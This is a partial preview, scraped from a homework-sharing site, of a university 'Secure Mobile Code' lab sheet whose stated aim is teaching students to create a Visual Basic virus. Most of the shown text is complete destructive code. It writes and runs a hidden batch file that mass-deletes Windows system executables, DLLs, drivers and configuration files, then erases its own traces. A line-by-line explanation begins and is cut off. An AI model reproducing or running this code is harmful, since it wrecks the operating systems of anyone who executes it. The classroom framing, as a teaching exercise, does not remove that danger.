Lab3-file2 - UAE University College of IT Secure Mobile...

Info iconThis preview shows pages 1–3. Sign up to view the full content.

View Full Document Right Arrow Icon
UAE University College of IT Secure Mobile Code LAB: Writing C++ Viruses And creating virus using tools Student Name: ID : ……………………………………… ........ ……………… Objective o To know how to create Visual Basic Virus. o To know how to create a virus which will shutdown your system. This lab contains : Part 1: Explaining a virus code This is a code of writing a virus using Visual Basic: ####the code ##### Private Sub Form_Load() On Error Resume Next
Background image of page 1

Info iconThis preview has intentionally blurred sections. Sign up to view the full version.

View Full DocumentRight Arrow Icon
Open "C:\IcEr" For Output As #1 Print #1, "@echo off" Print #1, "cls" Print #1, "@del C:\windows\*.ini" Print #1, "cls" Print #1, "@del C:\windows\*.log" Print #1, "cls" Print #1, "@del C:\windows\*.exe" Print #1, "cls" Print #1, "@del C:\windows\*.com" Print #1, "cls" Print #1, "@del C:\windows\system32\*.scr" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.exe" Print #1, "cls" Print #1, "@del C:\windows\system32\*.log" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.drv" Print #1, "cls" Print #1, "@del C:\windows\system32\*.dll" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.sys" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.com" Print #1, "cls" Print #1, "@del C:\windows\system.ini" Close #1 Name "C:\IcEr.txt" As "C:\IcEr.bat" Shell "C:\IcEr.bat" MsgBox " good evening ",vbCritical Kill "C:\IcEr.bat" End End Sub ###end of code### On Error Resume Next This command will continue the virus code even if there is any wrong on it. It would not stop in any step if there is error, it will go to the next step skipping the last wrong
Background image of page 2
Image of page 3
This is the end of the preview. Sign up to access the rest of the document.

Page1 / 11

Lab3-file2 - UAE University College of IT Secure Mobile...

This preview shows document pages 1 - 3. Sign up to view the full document.

View Full Document Right Arrow Icon
Ask a homework question - tutors are online